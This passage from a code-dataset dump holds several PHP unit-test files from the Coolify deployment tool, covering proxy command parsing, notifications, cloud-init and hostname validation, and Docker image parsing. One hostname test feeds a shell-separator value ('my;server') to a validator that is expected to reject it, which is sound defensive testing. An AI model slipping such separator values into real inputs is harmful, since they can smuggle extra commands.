'--entrypoints.https.address=:443',
'--entrypoints.http.forwardedHeaders.trustedIPs=173.245.48.0/20,103.21.244.0/22',
'--entrypoints.https.forwardedHeaders.trustedIPs=173.245.48.0/20,103.21.244.0/22',
'--providers.docker=true',
'--providers.docker.exposedbydefault=false',
],
],
],
];
$yamlConfig = Yaml::dump($existingConfig);
// Mock a server with Traefik proxy type
$server = Mockery::mock('App\Models\Server');
$server->shouldReceive('proxyType')->andReturn(ProxyTypes::TRAEFIK->value);
$customCommands = extractCustomProxyCommands($server, $yamlConfig);
expect($customCommands)
->toBeArray()
->toHaveCount(2)
->toContain('--entrypoints.http.forwardedHeaders.trustedIPs=173.245.48.0/20,103.21.244.0/22')
->toContain('--entrypoints.https.forwardedHeaders.trustedIPs=173.245.48.0/20,103.21.244.0/22');
});
it('returns empty array when only default commands exist', function () {
// Config with only default commands
$existingConfig = [
'services' => [
'traefik' => [
'command' => [
'--ping=true',
'--api.dashboard=true',
'--entrypoints.http.address=:80',
'--entrypoints.https.address=:443',
'--providers.docker=true',
'--providers.docker.exposedbydefault=false',
],
],
],
];
$yamlConfig = Yaml::dump($existingConfig);
$server = Mockery::mock('App\Models\Server');
$server->shouldReceive('proxyType')->andReturn(ProxyTypes::TRAEFIK->value);
$customCommands = extractCustomProxyCommands($server, $yamlConfig);
expect($customCommands)->toBeArray()->toBeEmpty();
});
it('handles invalid yaml gracefully', function () {
$invalidYaml = 'this is not: valid: yaml::: content';
$server = Mockery::mock('App\Models\Server');
$server->shouldReceive('proxyType')->andReturn(ProxyTypes::TRAEFIK->value);
$customCommands = extractCustomProxyCommands($server, $invalidYaml);
expect($customCommands)->toBeArray()->toBeEmpty();
});
it('returns empty array for caddy proxy type', function () {
$existingConfig = [
'services' => [
'caddy' => [
'environment' => ['SOME_VAR=value'],
],
],
];
$yamlConfig = Yaml::dump($existingConfig);
$server = Mockery::mock('App\Models\Server');
$server->shouldReceive('proxyType')->andReturn(ProxyTypes::CADDY->value);
$customCommands = extractCustomProxyCommands($server, $yamlConfig);
expect($customCommands)->toBeArray()->toBeEmpty();
});
it('returns empty array when config is empty', function () {
$server = Mockery::mock('App\Models\Server');
$server->shouldReceive('proxyType')->andReturn(ProxyTypes::TRAEFIK->value);
$customCommands = extractCustomProxyCommands($server, '');
expect($customCommands)->toBeArray()->toBeEmpty();
});
it('correctly identifies multiple custom command types', function () {
$existingConfig = [
'services' => [
'traefik' => [
'command' => [
'--ping=true',
'--api.dashboard=true',
'--entrypoints.http.forwardedHeaders.trustedIPs=173.245.48.0/20',
'--entrypoints.https.forwardedHeaders.trustedIPs=173.245.48.0/20',
'--entrypoints.http.forwardedHeaders.insecure=true',
'--metrics.prometheus=true',
'--providers.docker=true',
],
],
],
];
$yamlConfig = Yaml::dump($existingConfig);
$server = Mockery::mock('App\Models\Server');
$server->shouldReceive('proxyType')->andReturn(ProxyTypes::TRAEFIK->value);
$customCommands = extractCustomProxyCommands($server, $yamlConfig);
expect($customCommands)
->toBeArray()
->toHaveCount(4)
->toContain('--entrypoints.http.forwardedHeaders.trustedIPs=173.245.48.0/20')
->toContain('--entrypoints.https.forwardedHeaders.trustedIPs=173.245.48.0/20')
->toContain('--entrypoints.http.forwardedHeaders.insecure=true')
->toContain('--metrics.prometheus=true');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/HetznerDeletionFailedNotificationTest.php | tests/Unit/HetznerDeletionFailedNotificationTest.php | <?php
use App\Notifications\Server\HetznerDeletionFailed;
use Mockery;
afterEach(function () {
Mockery::close();
});
it('can be instantiated with correct properties', function () {
$notification = new HetznerDeletionFailed(
hetznerServerId: 12345,
teamId: 1,
errorMessage: 'Hetzner API error: Server not found'
);
expect($notification)->toBeInstanceOf(HetznerDeletionFailed::class)
->and($notification->hetznerServerId)->toBe(12345)
->and($notification->teamId)->toBe(1)
->and($notification->errorMessage)->toBe('Hetzner API error: Server not found');
});
it('uses hetzner_deletion_failed event for channels', function () {
$notification = new HetznerDeletionFailed(
hetznerServerId: 12345,
teamId: 1,
errorMessage: 'Test error'
);
$mockNotifiable = Mockery::mock();
$mockNotifiable->shouldReceive('getEnabledChannels')
->with('hetzner_deletion_failed')
->once()
->andReturn([]);
$channels = $notification->via($mockNotifiable);
expect($channels)->toBeArray();
});
it('generates correct mail content', function () {
$notification = new HetznerDeletionFailed(
hetznerServerId: 67890,
teamId: 1,
errorMessage: 'Connection timeout'
);
$mail = $notification->toMail();
expect($mail->subject)->toBe('Coolify: [ACTION REQUIRED] Failed to delete Hetzner server #67890')
->and($mail->view)->toBe('emails.hetzner-deletion-failed')
->and($mail->viewData['hetznerServerId'])->toBe(67890)
->and($mail->viewData['errorMessage'])->toBe('Connection timeout');
});
it('generates correct discord content', function () {
$notification = new HetznerDeletionFailed(
hetznerServerId: 11111,
teamId: 1,
errorMessage: 'API rate limit exceeded'
);
$discord = $notification->toDiscord();
expect($discord->title)->toContain('Failed to delete Hetzner server')
->and($discord->description)->toContain('#11111')
->and($discord->description)->toContain('API rate limit exceeded')
->and($discord->description)->toContain('may still exist in your Hetzner Cloud account');
});
it('generates correct telegram content', function () {
$notification = new HetznerDeletionFailed(
hetznerServerId: 22222,
teamId: 1,
errorMessage: 'Invalid token'
);
$telegram = $notification->toTelegram();
expect($telegram)->toBeArray()
->and($telegram)->toHaveKey('message')
->and($telegram['message'])->toContain('#22222')
->and($telegram['message'])->toContain('Invalid token')
->and($telegram['message'])->toContain('ACTION REQUIRED');
});
it('generates correct pushover content', function () {
$notification = new HetznerDeletionFailed(
hetznerServerId: 33333,
teamId: 1,
errorMessage: 'Network error'
);
$pushover = $notification->toPushover();
expect($pushover->title)->toBe('Hetzner Server Deletion Failed')
->and($pushover->level)->toBe('error')
->and($pushover->message)->toContain('#33333')
->and($pushover->message)->toContain('Network error');
});
it('generates correct slack content', function () {
$notification = new HetznerDeletionFailed(
hetznerServerId: 44444,
teamId: 1,
errorMessage: 'Permission denied'
);
$slack = $notification->toSlack();
expect($slack->title)->toContain('Hetzner Server Deletion Failed')
->and($slack->description)->toContain('#44444')
->and($slack->description)->toContain('Permission denied');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/CloudInitScriptValidationTest.php | tests/Unit/CloudInitScriptValidationTest.php | <?php
// Unit tests for cloud-init script validation logic
it('validates cloud-init script is optional', function () {
$cloudInitScript = null;
$isRequired = false;
$hasValue = ! empty($cloudInitScript);
expect($isRequired)->toBeFalse()
->and($hasValue)->toBeFalse();
});
it('validates cloud-init script name is required when saving', function () {
$saveScript = true;
$scriptName = 'My Installation Script';
$isNameRequired = $saveScript;
$hasName = ! empty($scriptName);
expect($isNameRequired)->toBeTrue()
->and($hasName)->toBeTrue();
});
it('validates cloud-init script description is optional', function () {
$scriptDescription = null;
$isDescriptionRequired = false;
$hasDescription = ! empty($scriptDescription);
expect($isDescriptionRequired)->toBeFalse()
->and($hasDescription)->toBeFalse();
});
it('validates save_cloud_init_script must be boolean', function () {
$saveCloudInitScript = true;
expect($saveCloudInitScript)->toBeBool();
});
it('validates save_cloud_init_script defaults to false', function () {
$saveCloudInitScript = false;
expect($saveCloudInitScript)->toBeFalse();
});
it('validates cloud-init script can be a bash script', function () {
$cloudInitScript = "#!/bin/bash\napt-get update\napt-get install -y nginx";
expect($cloudInitScript)->toBeString()
->and($cloudInitScript)->toContain('#!/bin/bash');
});
it('validates cloud-init script can be cloud-config yaml', function () {
$cloudInitScript = "#cloud-config\npackages:\n - nginx\n - git";
expect($cloudInitScript)->toBeString()
->and($cloudInitScript)->toContain('#cloud-config');
});
it('validates script name max length is 255 characters', function () {
$scriptName = str_repeat('a', 255);
expect(strlen($scriptName))->toBe(255)
->and(strlen($scriptName))->toBeLessThanOrEqual(255);
});
it('validates script name exceeding 255 characters should be invalid', function () {
$scriptName = str_repeat('a', 256);
$isValid = strlen($scriptName) <= 255;
expect($isValid)->toBeFalse()
->and(strlen($scriptName))->toBeGreaterThan(255);
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/HetznerSshKeysTest.php | tests/Unit/HetznerSshKeysTest.php | <?php
it('merges Coolify key with selected Hetzner keys', function () {
$coolifyKeyId = 123;
$selectedHetznerKeys = [456, 789];
// Simulate the merge logic from createHetznerServer
$sshKeys = array_merge(
[$coolifyKeyId],
$selectedHetznerKeys
);
expect($sshKeys)->toBe([123, 456, 789])
->and(count($sshKeys))->toBe(3);
});
it('removes duplicate SSH key IDs', function () {
$coolifyKeyId = 123;
$selectedHetznerKeys = [123, 456, 789]; // User also selected Coolify key
// Simulate the merge and deduplication logic
$sshKeys = array_merge(
[$coolifyKeyId],
$selectedHetznerKeys
);
$sshKeys = array_unique($sshKeys);
$sshKeys = array_values($sshKeys);
expect($sshKeys)->toBe([123, 456, 789])
->and(count($sshKeys))->toBe(3);
});
it('works with no selected Hetzner keys', function () {
$coolifyKeyId = 123;
$selectedHetznerKeys = [];
// Simulate the merge logic
$sshKeys = array_merge(
[$coolifyKeyId],
$selectedHetznerKeys
);
expect($sshKeys)->toBe([123])
->and(count($sshKeys))->toBe(1);
});
it('validates SSH key IDs are integers', function () {
$selectedHetznerKeys = [456, 789, 1011];
foreach ($selectedHetznerKeys as $keyId) {
expect($keyId)->toBeInt();
}
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServiceParserPortDetectionLogicTest.php | tests/Unit/ServiceParserPortDetectionLogicTest.php | <?php
/**
* Unit tests to verify the parser logic for detecting port-specific SERVICE variables.
* These tests simulate the logic used in bootstrap/helpers/parsers.php without database operations.
*
* The parser should detect when a SERVICE_URL_* or SERVICE_FQDN_* variable has a numeric
* port suffix and extract both the service name and port correctly.
*/
it('detects port suffix using numeric check (correct logic)', function () {
// This tests the CORRECT logic: check if last segment is numeric
$testCases = [
// [variable_name, expected_service_name, expected_port, is_port_specific]
// 2-underscore pattern: SERVICE_URL_{SERVICE}_{PORT}
['SERVICE_URL_MYAPP_3000', 'myapp', '3000', true],
['SERVICE_URL_REDIS_6379', 'redis', '6379', true],
['SERVICE_FQDN_NGINX_80', 'nginx', '80', true],
// 3-underscore pattern: SERVICE_URL_{SERVICE}_{NAME}_{PORT}
['SERVICE_URL_MY_API_8080', 'my_api', '8080', true],
['SERVICE_URL_WEB_APP_3000', 'web_app', '3000', true],
['SERVICE_FQDN_DB_SERVER_5432', 'db_server', '5432', true],
// 4-underscore pattern: SERVICE_URL_{SERVICE}_{NAME}_{OTHER}_{PORT}
['SERVICE_URL_REDIS_CACHE_SERVER_6379', 'redis_cache_server', '6379', true],
['SERVICE_URL_MY_LONG_APP_8080', 'my_long_app', '8080', true],
['SERVICE_FQDN_POSTGRES_PRIMARY_DB_5432', 'postgres_primary_db', '5432', true],
// Non-numeric suffix: should NOT be port-specific
['SERVICE_URL_MY_APP', 'my_app', null, false],
['SERVICE_URL_REDIS_PRIMARY', 'redis_primary', null, false],
['SERVICE_FQDN_WEB_SERVER', 'web_server', null, false],
['SERVICE_URL_APP_CACHE_REDIS', 'app_cache_redis', null, false],
// Single word without port
['SERVICE_URL_APP', 'app', null, false],
['SERVICE_FQDN_DB', 'db', null, false],
// Edge cases with numbers in service name
['SERVICE_URL_REDIS2_MASTER', 'redis2_master', null, false],
['SERVICE_URL_WEB3_APP', 'web3_app', null, false],
];
foreach ($testCases as [$varName, $expectedService, $expectedPort, $isPortSpecific]) {
// Use the actual helper function from bootstrap/helpers/services.php
$parsed = parseServiceEnvironmentVariable($varName);
// Assertions
expect($parsed['service_name'])->toBe($expectedService, "Service name mismatch for $varName");
expect($parsed['port'])->toBe($expectedPort, "Port mismatch for $varName");
expect($parsed['has_port'])->toBe($isPortSpecific, "Port detection mismatch for $varName");
}
});
it('shows current underscore-counting logic fails for some patterns', function () {
// This demonstrates the CURRENT BROKEN logic: substr_count === 3
$testCases = [
// [variable_name, underscore_count, should_detect_port]
// Works correctly with current logic (3 underscores total)
['SERVICE_URL_APP_3000', 3, true], // 3 underscores ✓
['SERVICE_URL_API_8080', 3, true], // 3 underscores ✓
// FAILS: 4 underscores (two-word service + port) - current logic says no port
['SERVICE_URL_MY_API_8080', 4, true], // 4 underscores ✗
['SERVICE_URL_WEB_APP_3000', 4, true], // 4 underscores ✗
// FAILS: 5+ underscores (three-word service + port) - current logic says no port
['SERVICE_URL_REDIS_CACHE_SERVER_6379', 5, true], // 5 underscores ✗
['SERVICE_URL_MY_LONG_APP_8080', 5, true], // 5 underscores ✗
// Works correctly (no port, not 3 underscores)
['SERVICE_URL_MY_APP', 3, false], // 3 underscores but non-numeric ✓
['SERVICE_URL_APP', 2, false], // 2 underscores ✓
];
foreach ($testCases as [$varName, $expectedUnderscoreCount, $shouldDetectPort]) {
$key = str($varName);
// Current logic: count underscores
$underscoreCount = substr_count($key->value(), '_');
expect($underscoreCount)->toBe($expectedUnderscoreCount, "Underscore count for $varName");
$currentLogicDetectsPort = ($underscoreCount === 3);
// Correct logic: check if numeric
$lastSegment = $key->afterLast('_')->value();
$correctLogicDetectsPort = is_numeric($lastSegment);
expect($correctLogicDetectsPort)->toBe($shouldDetectPort, "Correct logic should detect port for $varName");
// Show the discrepancy where current logic fails
if ($currentLogicDetectsPort !== $correctLogicDetectsPort) {
// This is a known bug - current logic is wrong
expect($currentLogicDetectsPort)->not->toBe($correctLogicDetectsPort, "Bug confirmed: current logic wrong for $varName");
}
}
});
it('generates correct URL with port suffix', function () {
// Test that URLs are correctly formatted with port appended
$testCases = [
['http://umami-abc123.domain.com', '3000', 'http://umami-abc123.domain.com:3000'],
['http://api-xyz789.domain.com', '8080', 'http://api-xyz789.domain.com:8080'],
['https://db-server.example.com', '5432', 'https://db-server.example.com:5432'],
['http://app.local', '80', 'http://app.local:80'],
];
foreach ($testCases as [$baseUrl, $port, $expectedUrlWithPort]) {
$urlWithPort = "$baseUrl:$port";
expect($urlWithPort)->toBe($expectedUrlWithPort);
}
});
it('generates correct FQDN with port suffix', function () {
// Test that FQDNs are correctly formatted with port appended
$testCases = [
['umami-abc123.domain.com', '3000', 'umami-abc123.domain.com:3000'],
['postgres-xyz789.domain.com', '5432', 'postgres-xyz789.domain.com:5432'],
['redis-cache.example.com', '6379', 'redis-cache.example.com:6379'],
];
foreach ($testCases as [$baseFqdn, $port, $expectedFqdnWithPort]) {
$fqdnWithPort = "$baseFqdn:$port";
expect($fqdnWithPort)->toBe($expectedFqdnWithPort);
}
});
it('correctly identifies service name with various patterns', function () {
// Test service name extraction with different patterns
$testCases = [
// After parsing, service names should preserve underscores
['SERVICE_URL_MY_API_8080', 'my_api'],
['SERVICE_URL_REDIS_CACHE_6379', 'redis_cache'],
['SERVICE_URL_NEW_API_3000', 'new_api'],
['SERVICE_FQDN_DB_SERVER_5432', 'db_server'],
// Single-word services
['SERVICE_URL_UMAMI_3000', 'umami'],
['SERVICE_URL_MYAPP_8080', 'myapp'],
// Without port
['SERVICE_URL_MY_APP', 'my_app'],
['SERVICE_URL_REDIS_PRIMARY', 'redis_primary'],
];
foreach ($testCases as [$varName, $expectedServiceName]) {
// Use the actual helper function from bootstrap/helpers/services.php
$parsed = parseServiceEnvironmentVariable($varName);
expect($parsed['service_name'])->toBe($expectedServiceName, "Service name extraction for $varName");
}
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/AllExcludedContainersConsistencyTest.php | tests/Unit/AllExcludedContainersConsistencyTest.php | <?php
/**
* Unit tests to verify consistent handling of all-excluded containers
* across PushServerUpdateJob, GetContainersStatus, and ComplexStatusCheck.
*
* These tests verify the fix for issue where different code paths handled
* all-excluded containers inconsistently:
* - PushServerUpdateJob (Sentinel, ~30s) previously skipped updates
* - GetContainersStatus (SSH, ~1min) previously skipped updates
* - ComplexStatusCheck (Multi-server) correctly calculated :excluded status
*
* After this fix, all three paths now calculate and return :excluded status
* consistently, preventing status drift and UI inconsistencies.
*/
it('ensures CalculatesExcludedStatus trait exists with required methods', function () {
$traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
// Verify trait has both status calculation methods
expect($traitFile)
->toContain('trait CalculatesExcludedStatus')
->toContain('protected function calculateExcludedStatus(Collection $containers, Collection $excludedContainers): string')
->toContain('protected function calculateExcludedStatusFromStrings(Collection $containerStatuses): string')
->toContain('protected function getExcludedContainersFromDockerCompose(?string $dockerComposeRaw): Collection');
});
it('ensures ComplexStatusCheck uses CalculatesExcludedStatus trait', function () {
$complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php');
// Verify trait is used
expect($complexStatusCheckFile)
->toContain('use App\Traits\CalculatesExcludedStatus;')
->toContain('use CalculatesExcludedStatus;');
// Verify it uses the trait method instead of inline code
expect($complexStatusCheckFile)
->toContain('return $this->calculateExcludedStatus($containers, $excludedContainers);');
// Verify it uses the trait helper for excluded containers
expect($complexStatusCheckFile)
->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
});
it('ensures PushServerUpdateJob uses CalculatesExcludedStatus trait', function () {
$pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
// Verify trait is used
expect($pushServerUpdateJobFile)
->toContain('use App\Traits\CalculatesExcludedStatus;')
->toContain('use CalculatesExcludedStatus;');
// Verify it calculates excluded status instead of skipping (old behavior: continue)
expect($pushServerUpdateJobFile)
->toContain('// If all containers are excluded, calculate status from excluded containers')
->toContain('$aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);');
// Verify it uses the trait helper for excluded containers
expect($pushServerUpdateJobFile)
->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
});
it('ensures PushServerUpdateJob calculates excluded status for applications', function () {
$pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
// In aggregateMultiContainerStatuses, verify the all-excluded scenario
// calculates status and updates the application
expect($pushServerUpdateJobFile)
->toContain('if ($relevantStatuses->isEmpty()) {')
->toContain('$aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);')
->toContain('if ($aggregatedStatus && $application->status !== $aggregatedStatus) {')
->toContain('$application->status = $aggregatedStatus;')
->toContain('$application->save();');
});
it('ensures PushServerUpdateJob calculates excluded status for services', function () {
$pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
// Count occurrences - should appear twice (once for applications, once for services)
$calculateExcludedCount = substr_count(
$pushServerUpdateJobFile,
'$aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);'
);
expect($calculateExcludedCount)->toBe(2, 'Should calculate excluded status for both applications and services');
});
it('ensures GetContainersStatus uses CalculatesExcludedStatus trait', function () {
$getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
// Verify trait is used
expect($getContainersStatusFile)
->toContain('use App\Traits\CalculatesExcludedStatus;')
->toContain('use CalculatesExcludedStatus;');
// Verify it calculates excluded status instead of returning null
expect($getContainersStatusFile)
->toContain('// If all containers are excluded, calculate status from excluded containers')
->toContain('return $this->calculateExcludedStatusFromStrings($containerStatuses);');
// Verify it uses the trait helper for excluded containers
expect($getContainersStatusFile)
->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
});
it('ensures GetContainersStatus calculates excluded status for applications', function () {
$getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
// In aggregateApplicationStatus, verify the all-excluded scenario returns status
expect($getContainersStatusFile)
->toContain('if ($relevantStatuses->isEmpty()) {')
->toContain('return $this->calculateExcludedStatusFromStrings($containerStatuses);');
});
it('ensures GetContainersStatus calculates excluded status for services', function () {
$getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
// In aggregateServiceContainerStatuses, verify the all-excluded scenario updates status
expect($getContainersStatusFile)
->toContain('$aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);')
->toContain('if ($aggregatedStatus) {')
->toContain('$statusFromDb = $subResource->status;')
->toContain("if (\$statusFromDb !== \$aggregatedStatus) {\n \$subResource->update(['status' => \$aggregatedStatus]);");
});
it('ensures excluded status format is consistent across all paths', function () {
$traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
// Trait now delegates to ContainerStatusAggregator and uses appendExcludedSuffix helper
expect($traitFile)
->toContain('use App\\Services\\ContainerStatusAggregator;')
->toContain('$aggregator = new ContainerStatusAggregator;')
->toContain('private function appendExcludedSuffix(string $status): string');
// Check that appendExcludedSuffix returns consistent colon format with :excluded suffix
expect($traitFile)
->toContain("return 'degraded:excluded';")
->toContain("return 'paused:excluded';")
->toContain("return 'starting:excluded';")
->toContain("return 'exited';")
->toContain('return "$status:excluded";'); // For running:healthy:excluded, running:unhealthy:excluded, etc.
});
it('ensures all three paths check for exclude_from_hc flag consistently', function () {
// All three should use the trait helper method
$complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php');
$pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
$getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
expect($complexStatusCheckFile)
->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
expect($pushServerUpdateJobFile)
->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
expect($getContainersStatusFile)
->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
// The trait method should check both exclude_from_hc and restart: no
$traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
expect($traitFile)
->toContain('$excludeFromHc = data_get($serviceConfig, \'exclude_from_hc\', false);')
->toContain('$restartPolicy = data_get($serviceConfig, \'restart\', \'always\');')
->toContain('if ($excludeFromHc || $restartPolicy === \'no\') {');
});
it('ensures calculateExcludedStatus uses ContainerStatusAggregator', function () {
$traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
// Check that the trait uses ContainerStatusAggregator service instead of duplicating logic
expect($traitFile)
->toContain('protected function calculateExcludedStatus(Collection $containers, Collection $excludedContainers): string')
->toContain('use App\Services\ContainerStatusAggregator;')
->toContain('$aggregator = new ContainerStatusAggregator;')
->toContain('$aggregator->aggregateFromContainers($excludedOnly)');
// Check that it has appendExcludedSuffix helper for all states
expect($traitFile)
->toContain('private function appendExcludedSuffix(string $status): string')
->toContain("return 'degraded:excluded';")
->toContain("return 'paused:excluded';")
->toContain("return 'starting:excluded';")
->toContain("return 'exited';")
->toContain('return "$status:excluded";'); // For running:healthy:excluded
});
it('ensures calculateExcludedStatusFromStrings uses ContainerStatusAggregator', function () {
$traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
// Check that the trait uses ContainerStatusAggregator service instead of duplicating logic
expect($traitFile)
->toContain('protected function calculateExcludedStatusFromStrings(Collection $containerStatuses): string')
->toContain('use App\Services\ContainerStatusAggregator;')
->toContain('$aggregator = new ContainerStatusAggregator;')
->toContain('$aggregator->aggregateFromStrings($containerStatuses)');
// Check that it has appendExcludedSuffix helper for all states
expect($traitFile)
->toContain('private function appendExcludedSuffix(string $status): string')
->toContain("return 'degraded:excluded';")
->toContain("return 'paused:excluded';")
->toContain("return 'starting:excluded';")
->toContain("return 'exited';")
->toContain('return "$status:excluded";'); // For running:healthy:excluded
});
it('verifies no code path skips update when all containers excluded', function () {
$pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
$getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
// These patterns should NOT exist anymore (old behavior that caused drift)
expect($pushServerUpdateJobFile)
->not->toContain("// If all containers are excluded, don't update status");
expect($getContainersStatusFile)
->not->toContain("// If all containers are excluded, don't update status");
// Instead, both should calculate excluded status
expect($pushServerUpdateJobFile)
->toContain('// If all containers are excluded, calculate status from excluded containers');
expect($getContainersStatusFile)
->toContain('// If all containers are excluded, calculate status from excluded containers');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ValidHostnameTest.php | tests/Unit/ValidHostnameTest.php | <?php
use App\Rules\ValidHostname;
it('accepts valid RFC 1123 hostnames', function (string $hostname) {
$rule = new ValidHostname;
$failCalled = false;
$rule->validate('server_name', $hostname, function () use (&$failCalled) {
$failCalled = true;
});
expect($failCalled)->toBeFalse();
})->with([
'simple hostname' => 'myserver',
'hostname with hyphen' => 'my-server',
'hostname with numbers' => 'server123',
'hostname starting with number' => '123server',
'all numeric hostname' => '12345',
'fqdn' => 'server.example.com',
'subdomain' => 'web.app.example.com',
'max label length' => str_repeat('a', 63),
'max total length' => str_repeat('a', 63).'.'.str_repeat('b', 63).'.'.str_repeat('c', 63).'.'.str_repeat('d', 59),
]);
it('rejects invalid RFC 1123 hostnames', function (string $hostname, string $expectedError) {
$rule = new ValidHostname;
$failCalled = false;
$errorMessage = '';
$rule->validate('server_name', $hostname, function ($message) use (&$failCalled, &$errorMessage) {
$failCalled = true;
$errorMessage = $message;
});
expect($failCalled)->toBeTrue();
expect($errorMessage)->toContain($expectedError);
})->with([
'uppercase letters' => ['MyServer', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
'underscore' => ['my_server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
'starts with hyphen' => ['-myserver', 'cannot start or end with a hyphen'],
'ends with hyphen' => ['myserver-', 'cannot start or end with a hyphen'],
'starts with dot' => ['.myserver', 'cannot start or end with a dot'],
'ends with dot' => ['myserver.', 'cannot start or end with a dot'],
'consecutive dots' => ['my..server', 'consecutive dots'],
'too long total' => [str_repeat('a', 254), 'must not exceed 253 characters'],
'label too long' => [str_repeat('a', 64), 'must be 1-63 characters'],
'empty label' => ['my..server', 'consecutive dots'],
'special characters' => ['my@server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
'space' => ['my server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
'shell metacharacters' => ['my;server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
]);
it('accepts empty hostname', function () {
$rule = new ValidHostname;
$failCalled = false;
$rule->validate('server_name', '', function () use (&$failCalled) {
$failCalled = true;
});
expect($failCalled)->toBeFalse();
});
it('trims whitespace before validation', function () {
$rule = new ValidHostname;
$failCalled = false;
$rule->validate('server_name', ' myserver ', function () use (&$failCalled) {
$failCalled = true;
});
expect($failCalled)->toBeFalse();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/DockerImageAutoParseTest.php | tests/Unit/DockerImageAutoParseTest.php | <?php
use App\Livewire\Project\New\DockerImage;
it('auto-parses complete docker image reference with tag', function () {
$component = new DockerImage;
$component->imageName = 'nginx:stable-alpine3.21-perl';
$component->imageTag = '';
$component->imageSha256 = '';
$component->updatedImageName();
expect($component->imageName)->toBe('nginx')
->and($component->imageTag)->toBe('stable-alpine3.21-perl')
->and($component->imageSha256)->toBe('');
});
it('auto-parses complete docker image reference with sha256 digest', function () {
$hash = '4e272eef7ec6a7e76b9c521dcf14a3d397f7c370f48cbdbcfad22f041a1449cb';
$component = new DockerImage;
$component->imageName = "nginx@sha256:{$hash}";
$component->imageTag = '';
$component->imageSha256 = '';
$component->updatedImageName();
expect($component->imageName)->toBe('nginx')
->and($component->imageTag)->toBe('')
->and($component->imageSha256)->toBe($hash);
});
it('auto-parses complete docker image reference with tag and sha256 digest', function () {
$hash = '4e272eef7ec6a7e76b9c521dcf14a3d397f7c370f48cbdbcfad22f041a1449cb';
$component = new DockerImage;
$component->imageName = "nginx:stable-alpine3.21-perl@sha256:{$hash}";
$component->imageTag = '';
$component->imageSha256 = '';
$component->updatedImageName();
// When both tag and digest are present, Docker keeps the tag in the name
// but uses the digest for pulling. The tag becomes part of the image name.
expect($component->imageName)->toBe('nginx:stable-alpine3.21-perl')
->and($component->imageTag)->toBe('')
->and($component->imageSha256)->toBe($hash);
});
it('auto-parses registry image with port and tag', function () {
$component = new DockerImage;
$component->imageName = 'registry.example.com:5000/myapp:v1.2.3';
$component->imageTag = '';
